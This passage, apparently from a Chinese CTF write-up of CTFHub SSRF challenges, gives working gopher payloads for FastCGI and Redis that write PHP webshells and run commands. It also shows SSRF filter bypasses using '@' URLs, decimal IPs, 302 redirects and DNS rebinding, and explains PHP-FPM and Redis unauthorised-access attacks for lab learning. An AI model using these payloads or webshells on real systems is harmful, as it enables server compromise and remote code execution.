------geckoformboundary7b8228c49e52730cc0c78876fb212042
Content-Disposition: form-data; name="submit"

提交查询
------geckoformboundary7b8228c49e52730cc0c78876fb212042--

注意:在构造的时候,Content-Length表示HTTP请求中空行之后的所有内容的字节数,所以标记位置一定中间要有空行

这里就不废话了,直接给出最后的payload:

1
gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%34%25%33%33%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%33%25%37%34%25%32%65%25%37%34%25%37%38%25%37%34%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%37%30%25%36%63%25%36%31%25%36%39%25%36%65%25%30%64%25%30%61%25%30%64%25%30%61%25%35%33%25%35%33%25%35%32%25%34%36%25%32%30%25%35%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%64%30%25%61%34%25%65%35%25%65%32%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%32%64%25%32%64

FastCGI协议:

1
这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

附件地址:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客

1
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

我们尝试直接访问显示404,之后尝试用file读取/flag.php和/var/www/html/flag.php都没有结果。

根据前面的文章我们重点看最后的任意代码执行部分:

1
2
3
4
5
6
7
理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

这里我们需要用到一个Gopherus工具生成fastcgi的payloald:

1
2
3
4
5
6
7
8
9
10
11
12
13
利用条件:
libcurl版本>=7.45.0
PHP-FPM监听端口
PHP-FPM版本 >= 5.3.3
知道服务器上任意一个php文件的绝对路径

python2 gopherus.py --exploit fastcgi //必须是python2的版本

第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php

第二个地方输入:
希望目标服务器执行的恶意命令,比如echo PD9waHAgQGV2YWwoJF9QT1NUWydjbGF5J10pOz8+ | base64 -d > /var/www/html/shell.php 或者 ls/cat f*

输出的payload还需要 经过一次URL编码;

1
%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2f%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2f1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2f%2finput%250F%2517SCRIPT_FILENAME%2fvar%2fwww%2fhtml%2findex.php%250D%2501DOCUMENT_ROOT%2f%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

Redis协议:

1
这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

这一道题依然可以用gopherus工具:

1
2
3
4
5
6
7
8
9
10
python2 gopherus.py --exploit redis

第一个地方输入:
这里选择是反弹shell还是正向shell //这题phpshell

第二个地方输入:
服务器根目录,默认为/var/www/html,可以直接回车

第三个地方输入:
后门代码比如:<?php @eval($_POST['cmd']) ?> //默认写入根目录的shell.php

这里写入代码还是写入一句话木马吧,我尝试了<?php system(‘cat /f*’); ?>似乎不会回显flag

然后我们可以使用蚁剑连接了:

最后能在根目录下找到flag

从其他文章中看到了这些内容:

1
2
Redis是一个key-value存储系统。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
Redis 在默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。,也可以直接写入Webshell或者写入计划任务进行反弹shell。

URL Bypass:

1
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧

根据前面学习的绕过手法,可以使用@绕过:

1
http://challenge-d9c668c92afb0b2b.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

数字IP Bypass:

1
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

前面学了很多绕过127.0.0.1的,随便挑一个不包含127,172,@,.来用就行:

1
http://challenge-9d998ea99bded3ea.sandbox.ctfhub.com:10800/?url=http://2130706433/flag.php

这里我采用的进制转换

302跳转 Bypass:

1
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

如果我们想要自己搭建一个重定向网站呢?

1
2
3
//shell.php
<?php
header("Location:http://127.0.0.1/flag.php");

我们需要将这个php放在公网上,拼接到url访问,就能实现302跳转

1
payload:?url=http://[公网IP]/shell.php

DNS重绑定 Bypass:

1
关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助

附件地址:浅谈DNS重绑定漏洞 - 知乎

对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,我们可以进行DNS 重绑定。我们利用DNS Rebinding技术,在第一次校验IP的时候返回一个合法的IP,在真实发起请求的时候,返回我们真正想要访问的内网IP即可。

要完成DNS重绑定,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0,这是为了防止有DNS服务器对解析结果进行缓存。这样就可以进行了,完整的攻击流程为:

  1. 服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
  2. 对于获得的IP进行判断,发现为非黑名单IP,则通过验证
  3. 服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

需要用到的网址:rbndr.us dns rebinding service

这个网站会随机指向两个绑定地址的其中一个,由于127段是回环地址,将AB设置成127.0.0.1127.0.0.2,每一个都能访问localhost

IP会在A、B两个之间反复切换。我们知道,127.201.205.254=127.0.0.1 //127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost,所以A和B都能进内网。

所以我们的payload为:

1
http://challenge-aca6454dc93fb620.sandbox.ctfhub.com:10800/?url=http://7f000001.7f000002.rbndr.us/flag.php